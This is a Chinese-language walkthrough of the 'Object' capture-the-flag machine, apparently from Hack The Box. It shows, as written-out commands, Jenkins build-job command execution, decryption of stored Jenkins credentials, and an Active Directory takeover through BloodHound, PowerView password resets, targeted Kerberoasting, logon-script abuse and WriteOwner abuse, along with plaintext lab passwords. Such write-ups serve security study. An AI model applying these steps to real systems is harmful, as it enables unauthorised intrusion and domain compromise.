端口扫描
将object.htb加入/host文件
来到80
进行目录爆破
fuzz一下子域名
wfuzz -u http://object.htb -H 'Host: FUZZ.object.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 29932
jenkins渗透
访问 http://object.htb:8080
会重定向到 http://object.htb:8080/login?from=%2F
,这是 Jenkins 的登录表单:
尝试了一下没有登入绕过的方法
建一个帐户。填写表格后,我已登录
版本Jenkins 2.317,点击the top page会进入
“People”显示只有我和管理员拥有帐户
单击我自己(或从右上角“注销”旁边的链接)将转到有关我的用户的部分
在“配置”下,有一个包含 API 令牌的菜单
尝试访问/manage但是没有权限
可以尝试访问/manage(Jenkins Add User - How to add and manage user permissions in Jenkins?) 但是没权限
又找到一篇文章,试试访问/script 也没权限
Lab of a Penetration Tester: Hacking Jenkins Servers With No Password - Powershell fun
这篇文章是别人试的提全in windows不过不适用于该台靶机
来到
创建一个freestyle
在选项里选择这个
写入cmd /c whoami 但是没反应
方法1(时间)
在选项中,选择构建触发器里面的build periodically
“定期构建”似乎很有希望。我将选中该框,它会提供一个空文本字段。Jenkins 使用类似于 cron 的调度系统。我将输入“* * * * *”,它警告我这将每分钟运行一次:
保存并在一分钟后刷新页面,历史记录中有一个构建:
点击后“控制台输出”显示作业已运行:
方法二:远程触发
运行不同的命令,每个命令之间等待一分钟有点累人。我将禁用预定的触发器。看看“构建触发器”的其他选项,“触发器远程构建(例如,从脚本)”似乎很有趣。检查它会扩展要求“身份验证令牌”:
我可以尝试仅添加一个字符串作为令牌(例如“TestToken”)并请求他们提供的端点,但它不起作用:
oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken" <html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'> Authentication required <!-- --> </body></html>
在枚举过程中,我发现可以在个人资料中创建 API 令牌。我将前往那里并单击“添加新令牌”:
我将为其命名0xdfToken
并单击“生成”:
我还将使用该作业更新批处理脚本,以便清楚地了解它触发的原因:
这篇文章展示了如何实际触发该作业。我需要使用表单的 url:
http://[username]:[token]@[host]/job/[job name]/build?token=[token name]
所以对我来说,那就是:
oxdf@hacky$ curl "http://0xdf:1176e6f7ba9fdf90c7ec7dba8c413cda89@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"
服务器没有响应,但作业触发,片刻之后控制台输出:
尝试下载nc64反弹shell
但无法连接到该端口
端口改为 9001,但仍然无法连接
可能是防火墙配置为不允许任何出站流量,因此我们可以使用 powershell 的 cmdletGet-NetFirewallRule
列出防火墙规则,并且需要检查出站流量
cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound
防护墙阻拦反弹shell,找账号密码
我们无法获得反向 shell,因为流量不会出去,接下来我们可以做的是查看 jenkins 在哪里存储密码或如何存储密码
How to reset the user/password of Jenkins on Windows? - Stack Overflow
还有一种就是查看之前的控制台返回,很明显作业是从C:\Users\oliver\AppData\Local\Jenkins.jenkins\workspace\你创建的's job
解密(需要3个文件)
Google 上出现的大多数参考文献(如本参考文献)都展示了如何通过脚本控制台 ( /script
) 执行此操作,但无权访问它。
Github 上发现了两个存储库,其中包含解密 Jenkins 上存储的用户密码的方法。这个是用 Go 编写的,并且有大量用于渗透测试 Jenkins 的 Python 脚本。
https://github.com/hoto/jenkins-credentials-decryptor
他需要credentials.xml,
master.key和hudson.util.Secret
来到上面goole找到的目录
但是少了 credentials.xml 文件
接着枚举
查看一下并将其base64编码(因为直接查看他们是16进制的看起来)
或者利用poershell
>powershell -c [convert]::ToBase64String((cat ....\secrets\hudson.util.Secret -Encoding byte))
将他们复制到本地,并且解密到文件
将github的项目下载
./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml
获得oliver:c1cdfun_d2434
因为 winrm 在机器上是打开的,我们可以用这个密码来访问 oliver 用户,然后获取机器上的 shell
evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434
提权
枚举一下
Oliver 的主目录中没有太多其他内容。还有另外两个具有主目录的非管理员用户:maria 和 smith:
查看监听端口,有很多无法从外部访问的端口:
netstat -an | findstr LISTENING 看着像是域控主机
利用bloodhound
upload SharpHound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
download C:\programdata\20220227174044_BloodHound.zip 20220227174044_BloodHound.zip
加载
将找到 oliver 并将该用户标记为已拥有。首先要查看的是“Outbound Control Rights”,其中显示 oliver 对 smith 拥有 ForceChangePassword
权。
对 smith 执行相同的操作,显示用户对 maria 拥有 GenericWrite
权限,并且 maria 对域管理员拥有 WriteOwner
权限。
选择Find Shortest Paths to Domain Admins
修改密码smith
bloodhound上提示用powershell就可以
upload PowerView.ps1
. .\PowerView.ps1
$newpass = ConvertTo-SecureString 'FOfokiki!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $newpass
smith 是远程管理用户的成员:
evil-winrm -i 10.10.11.132 -u smith -p 'FOfokiki!'
GenericWrite获得Maria
试错(添加spn利用powerview使用Kerberoast,用powershell改密码)
BloodHound 中 GenericWrite
的帮助说:
A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket. 可以使用 PowerView 的 Set-DomainObject 和 Get-DomainSPNTicket 来执行有针对性的 kerberoast 攻击。
向 maria 的帐户添加 SPN:
Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/FOFO'}
Get-DomainUser maria | Select serviceprinciplename 可以看到票据
使用kerberoast 时它不起作用
是因为我们的spn格式有无
setspn -a MSSQLSvc/object.local:1433 object.local\maria
验证 Get-DomainUser maria | Select serviceprincipalname
{object.local/maria.object.local:1337, nonexistent/FOFO}
在Kerberoast,需要使用具有有效格式的 SPN
PowerView
有 Get-DomainSPNTicket
到用于Kerberoast
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433"
Warning: [Get-DomainSPNTicket] Error requesting ticket for SPN 'MSSQLSvc/object.local:1433' from user 'UNKNOWN' : Exception calling ".ctor" with "1" argument(s): "The NetworkCredentials provided were unable to c reate a Kerberos credential, see inner exception for details."
该错误消息是关于凭据无效的。我将创建一个凭证对象:
$pass = ConvertTo-SecureString 'FOFOkiki!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred
但是得到的hash破解不了
试试修改密码也不行
$newpass = ConvertTo-SecureString 'FOFkiki!' -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass
登录脚本(powershell设置登入脚本)
对用户使用 GenericWrite
来更新他们的登录脚本。该脚本将在用户下次登录时运行
编写一个脚本来 ping 我的主机,记住之前的防火墙枚举,ICMP 是允许出站的少数事物之一
echo "ping 10.10.14.6" > ping.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\ping.ps1"}
监听数据包
sudo tcpdump -ni tun0 icmp
收到了ping
由于防火墙的原因我无法连接回来,所以我会将脚本放入登录中,将结果写入我可以读取的位置。例如:
echo "ls \users\maria\ > \programdata\out" > cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\cmd.ps1"}
在programdata目录 type out 读取验证一下,文件里面 Documents
和 Desktop
文件夹的时间戳与其他文件夹不同,值得查看一下
echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
Evil-WinRM PS C:\programdata> ls out *
Evil-WinRM PS C:\programdata> type out2
只有一个xls文件
复制下载来看看
echo "copy \users\maria\desktop\Engines.xls \programdata" > cmd.ps1
download C:\programdata\Engines.xls Engines.xls
里面有账号密码
crackmapexec winrm 10.10.11.132 -u maria -p maria-pass
evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'
获得管理员(WriteOwner
权限可以授予域组全部权限)
maria 在域管理员组中拥有 WriteOwner
。从BloodHound的帮助来看,这意味着maria可以更改群组的所有者。
导入 PowerView.ps
将 maria 指定为该组的所有者:
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
对maria授予改组全部权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
验证
net user maria
maria 现在可以读取 root.txt